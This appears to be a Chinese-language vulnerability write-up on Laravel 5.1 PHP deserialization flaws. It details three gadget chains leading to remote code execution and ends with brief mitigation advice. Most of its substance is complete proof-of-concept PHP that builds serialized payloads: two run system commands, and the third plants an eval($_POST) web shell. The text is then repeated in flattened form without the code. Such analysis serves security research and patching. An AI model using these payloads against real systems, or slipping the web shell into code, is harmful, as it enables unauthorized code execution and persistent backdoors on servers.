laravel5.1反序列化漏洞分析
字数 1809 2025-08-07 00:35:01

Laravel 5.1 反序列化漏洞分析与利用

0x00 环境准备

首先需要搭建 Laravel 5.1 的环境:

composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"

配置路由和控制器等基础设置(此处略过)。

0x01 第一个RCE漏洞分析

漏洞链分析

  1. 起点WindowsPipes 类的 __destruct 方法

    • 该方法会调用 $this->removeFiles()
    • removeFiles() 方法会遍历 $this->files 数组并删除文件
  2. 触发 __toString

    • $this->files 中包含对象时,删除操作会触发对象的 __toString 方法
    • View 类中找到 __toString 方法,它调用了 $this->render()
  3. 调用链深入

    • render() 调用 $this->renderContent()
    • renderContent() 调用 $this->factory->incrementRender()
    • 这可以触发任意类的 __call 方法
  4. 利用 __call

    • ValidGenerator 类中找到 __call 方法
    • 该方法会执行 call_user_func_array(array($this->generator, $name), $arguments)
    • 通过控制 $this->generator$name 可实现RCE
  5. 辅助类

    • DefaultGenerator 类的 __call 方法可以返回任意值

POC构造

<?php
namespace Faker;
class DefaultGenerator {
    protected $default;
    public function __construct() {
        $this->default = 'whoami';
    }
}

namespace Faker;
class ValidGenerator {
    protected $generator;
    protected $validator;
    protected $maxRetries;
    public function __construct() {
        $this->maxRetries = 1;
        $this->validator = 'system';
        $this->generator = new DefaultGenerator;
    }
}

namespace Illuminate\View;
use Faker\ValidGenerator;
class View {
    protected $factory;
    public function __construct() {
        $this->factory = new ValidGenerator;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes {
    private $files = array();
    public function __construct() {
        $this->files = array(new View());
    }
}

echo urlencode(serialize(new WindowsPipes()));
?>

0x02 第二个RCE漏洞分析

漏洞链分析

  1. 起点:同样从 WindowsPipes 类的 __destruct 开始
  2. 触发 __call
    • DatabaseManager 类中找到 __call 方法
    • 该方法会调用 $this->connection()
  3. 深入分析
    • connection() 方法最终会调用 $this->makeConnection($name)
    • makeConnection() 方法中存在 call_user_func 调用
  4. 参数控制
    • 第一个参数来自 $this->extensions[$name]
    • 第二个参数来自 $this->getConfig($name)
    • 通过控制 $this->app['config'] 可以控制这些参数

POC构造

<?php
namespace Illuminate\Database;
class DatabaseManager {
    protected $extensions = array();
    protected $app = array();
    public function __construct() {
        $this->extensions['whoami'] = 'call_user_func';
        $this->app['config']['database.connections'] = ['whoami' => 'system'];
        $this->app['config']['database.default'] = 'whoami';
    }
}

namespace Illuminate\View;
use Illuminate\Database\DatabaseManager;
class View {
    protected $factory;
    public function __construct() {
        $this->factory = new DatabaseManager;
    }
}

namespace Symfony\Component\Process\Pipes;
use Illuminate\View\View;
class WindowsPipes {
    private $files = array();
    public function __construct() {
        $this->files = array(new View());
    }
}

echo urlencode(serialize(new WindowsPipes()));
?>

0x03 第三个RCE漏洞分析

漏洞链分析

  1. 起点:同样从 WindowsPipes 开始
  2. 触发 __call
    • Validator 类中找到 __call 方法
    • $this->extensions[$rule] 存在时,调用 $this->callExtension
  3. 深入分析
    • callExtension 会调用 $this->callClassBasedExtension
    • 其中包含 call_user_func_array([$this->container->make($class), $method], $parameters)
  4. 利用 eval
    • EvalLoader 类中找到 load 方法
    • class_exists($definition->getClassName(), false) === false 时,会执行 eval($definition->getCode())
  5. 参数控制
    • 通过 ObjectStateToken 类的 __toString 方法控制传参
    • 利用 DefaultGenerator 类的 __call 方法返回任意值

POC构造

<?php
namespace Mockery\Loader;
class EvalLoader {}

namespace Faker;
use Mockery\Loader\EvalLoader;
class DefaultGenerator {
    public $default;
    public function __construct() {
        $this->default = new EvalLoader;
    }
}

namespace Illuminate\Validation;
use Faker\DefaultGenerator;
class Validator {
    protected $extensions = [];
    protected $container;
    public function __construct() {
        $this->extensions['y'] = 'huahua@load';
        $this->container = new DefaultGenerator;
    }
}

namespace Mockery\Generator;
use Faker\DefaultGenerator;
class MockDefinition {
    protected $config;
    public function __construct() {
        $this->config = new DefaultGenerator;
        $this->config->default = 'huahua';
        $this->code = '<?php eval($_POST[1]);';
    }
}

namespace Prophecy\Argument\Token;
use Illuminate\Validation\Validator;
use Mockery\Generator\MockDefinition;
class ObjectStateToken {
    private $util;
    private $value;
    public function __construct() {
        $this->util = new Validator;
        $this->value = new MockDefinition;
    }
}

namespace Symfony\Component\Process\Pipes;
use Prophecy\Argument\Token\ObjectStateToken;
class WindowsPipes {
    private $files = array();
    public function __construct() {
        $this->files = array(new ObjectStateToken());
    }
}

echo urlencode(serialize(new WindowsPipes()));
?>

总结

Laravel 5.1 中存在多个反序列化漏洞,主要通过以下路径实现RCE:

  1. 通过 WindowsPipes__destruct 方法触发文件删除操作
  2. 文件删除操作触发对象的 __toString 方法
  3. __toString 方法调用链最终触发 __call 方法
  4. 通过精心构造的类属性控制 call_user_funceval 的参数
  5. 实现任意代码执行

防护建议:

  • 及时升级到最新版本
  • 避免反序列化用户可控的数据
  • 使用白名单机制限制可反序列化的类
Laravel 5.1 反序列化漏洞分析与利用 0x00 环境准备 首先需要搭建 Laravel 5.1 的环境: 配置路由和控制器等基础设置(此处略过)。 0x01 第一个RCE漏洞分析 漏洞链分析 起点 : WindowsPipes 类的 __destruct 方法 该方法会调用 $this->removeFiles() removeFiles() 方法会遍历 $this->files 数组并删除文件 触发 __toString : 当 $this->files 中包含对象时,删除操作会触发对象的 __toString 方法 在 View 类中找到 __toString 方法,它调用了 $this->render() 调用链深入 : render() 调用 $this->renderContent() renderContent() 调用 $this->factory->incrementRender() 这可以触发任意类的 __call 方法 利用 __call : 在 ValidGenerator 类中找到 __call 方法 该方法会执行 call_user_func_array(array($this->generator, $name), $arguments) 通过控制 $this->generator 和 $name 可实现RCE 辅助类 : DefaultGenerator 类的 __call 方法可以返回任意值 POC构造 0x02 第二个RCE漏洞分析 漏洞链分析 起点 :同样从 WindowsPipes 类的 __destruct 开始 触发 __call : 在 DatabaseManager 类中找到 __call 方法 该方法会调用 $this->connection() 深入分析 : connection() 方法最终会调用 $this->makeConnection($name) makeConnection() 方法中存在 call_user_func 调用 参数控制 : 第一个参数来自 $this->extensions[$name] 第二个参数来自 $this->getConfig($name) 通过控制 $this->app['config'] 可以控制这些参数 POC构造 0x03 第三个RCE漏洞分析 漏洞链分析 起点 :同样从 WindowsPipes 开始 触发 __call : 在 Validator 类中找到 __call 方法 当 $this->extensions[$rule] 存在时,调用 $this->callExtension 深入分析 : callExtension 会调用 $this->callClassBasedExtension 其中包含 call_user_func_array([$this->container->make($class), $method], $parameters) 利用 eval : 在 EvalLoader 类中找到 load 方法 当 class_exists($definition->getClassName(), false) === false 时,会执行 eval($definition->getCode()) 参数控制 : 通过 ObjectStateToken 类的 __toString 方法控制传参 利用 DefaultGenerator 类的 __call 方法返回任意值 POC构造 总结 Laravel 5.1 中存在多个反序列化漏洞,主要通过以下路径实现RCE: 通过 WindowsPipes 的 __destruct 方法触发文件删除操作 文件删除操作触发对象的 __toString 方法 __toString 方法调用链最终触发 __call 方法 通过精心构造的类属性控制 call_user_func 或 eval 的参数 实现任意代码执行 防护建议: 及时升级到最新版本 避免反序列化用户可控的数据 使用白名单机制限制可反序列化的类